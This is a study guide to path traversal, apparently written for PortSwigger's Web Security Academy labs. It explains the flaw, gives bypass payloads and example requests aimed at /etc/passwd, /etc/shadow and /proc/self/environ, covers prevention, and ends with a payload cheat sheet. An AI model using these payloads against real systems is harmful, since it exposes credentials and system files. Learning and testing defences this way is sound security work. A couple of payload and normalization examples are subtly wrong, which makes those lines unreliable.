

File Path Traversal (Directory Traversal)

Reference:

<https://portswigger.net/web-security/file-path-traversal>

PortSwigger Web Security Academy – File Path Traversal Labs

1. Path Traversal

Path traversal (also known as directory traversal) is a web security vulnerability that allows an attacker to read or access files and directories outside the intended directory structure on a server.

This vulnerability occurs when an application constructs file paths using **user-supplied input** without properly validating or sanitizing it. By manipulating file path parameters, attackers can traverse the filesystem and access sensitive files.

2. What is Path Traversal?

Path traversal vulnerabilities arise when an application uses user input to determine the location of a file on the server's filesystem.

Typical Vulnerable Scenario

A web application loads images based on a filename parameter:

```
https://example.com/image?filename=cat.jpg
```

Backend logic:

```
/var/www/images/ + filename
```

If the application does not restrict path traversal sequences, an attacker can manipulate the filename to escape the intended directory.

3. Reading Arbitrary Files via Path Traversal

Basic Path Traversal Payload

```
../../../../etc/passwd
```

Example Exploit Request

```
https://example.com/image?filename=../../../../etc/passwd
```

Result

The application resolves the path as:

```
/var/www/images/../../../../etc/passwd
```

Which becomes:

```
/etc/passwd
```

If successful, the attacker can read sensitive system files.

Common Files Targeted

Linux:

```
/etc/passwd  
/etc/shadow  
/etc/hostname  
/proc/self/environ
```

Windows:

```
C:\Windows\win.ini  
C:\Windows\System32\drivers\etc\hosts
```

4. Common Obstacles to Exploiting Path Traversal Vulnerabilities

Applications often implement flawed defenses that attackers can bypass.

4.1 Absolute Path Bypass

Some applications block traversal sequences (`../`) but allow absolute paths.

Example Payload (Linux)

```
/etc/passwd
```

Example Payload (Windows)

```
C:\Windows\win.ini
```

Related Lab

<https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass>

4.2 Path Traversal Sequences Stripped Non-Recursively

Some applications remove traversal sequences once but do not repeat validation.

Example Defense

```
../ → removed once
```

Bypass Payload

```
....//....//....//etc/passwd
```

After normalization:

```
../..../etc/passwd
```

Related Lab

<https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively>

4.3 Superfluous URL Decoding

Some applications decode input only once.

Payload (Double URL Encoding)

```
%252e%252e%252f%252e%252e%252fetc%252fpasswd
```

Decoded once:

```
%2e%2e/%2e%2e/etc/passwd
```

Decoded again by filesystem:

```
../etc/passwd
```

Related Lab

<https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode>

4.4 Validation of Start of Path

Some applications validate that the path starts with a specific directory.

Example Validation

```
/var/www/images/
```

Bypass Payload

```
/var/www/images/../../../../etc/passwd
```

The path starts correctly but escapes the directory after traversal.

Related Lab

<https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path>

4.5 File Extension Validation with Null Byte Bypass

Applications may enforce a file extension like `.png` or `.jpg`.

Example Defense

```
filename must end with .png
```

Bypass Payload (Null Byte)

```
../../../../etc/passwd%00.png
```

The null byte terminates the string in some back-end languages, bypassing the extension check.

Related Lab

<https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass>

5. File Path Traversal PortSwigger Lab Mapping

Lab: Simple Path Traversal

<https://portswigger.net/web-security/file-path-traversal/lab-simple>

Learning Outcome

- Basic `../` traversal
 - Reading `/etc/passwd`
-

Lab: Absolute Path Bypass

<https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass>

Learning Outcome

- Using absolute file paths
 - Bypassing traversal sequence filters
-

Lab: Sequences Stripped Non-Recursively

<https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively>

Learning Outcome

- Exploiting weak sanitization logic
-

Lab: Superfluous URL Decode

<https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode>

Learning Outcome

- Double URL encoding bypass techniques
-

Lab: Validate Start of Path

<https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path>

Learning Outcome

- Prefix validation bypass
-

Lab: Validate File Extension (Null Byte)

<https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass>

Learning Outcome

- Null byte injection
 - Extension check bypass
-

6. How to Prevent a Path Traversal Attack

6.1 Avoid User-Controlled File Paths

Do not use user input directly in filesystem paths.

6.2 Use Allowlists

Only allow predefined filenames or identifiers mapped internally.

6.3 Canonicalize Paths

Resolve the path to its canonical form and verify it resides within the intended directory.

6.4 Enforce Strict File Permissions

Ensure sensitive files are not readable by the web application user.

6.5 Use Secure APIs

Use language-provided safe file handling APIs where possible.

7. File Path Traversal Testing Cheat Sheet

Basic Traversal

```
../../../../etc/passwd
```

URL Encoded

```
..%2f..%2f..%2fetc%2fpasswd
```

Double URL Encoded

```
%252e%252e%252fetc%252fpasswd
```

Absolute Path

```
/etc/passwd  
C:\Windows\win.ini
```

Mixed Separators

```
..\..\..\etc\passwd
```

Nested Traversal

```
....//....//etc/passwd
```

Null Byte Bypass

```
../..etc/passwd%00.png
```

Common Targets

```
/etc/passwd  
/proc/self/environ  
/var/log/apache2/access.log
```

8. Summary

File Path Traversal is a fundamental but highly impactful vulnerability that can lead to disclosure of sensitive system files, credentials, configuration data, and application secrets.

Key takeaways:

- Never trust user input for filesystem access
- Blacklists and simple filters are insufficient
- Canonicalization and allowlists are critical
- Path traversal is often chained with other attacks (RCE, credential theft)

A thorough understanding of path traversal techniques and bypass methods is essential for both attackers and defenders.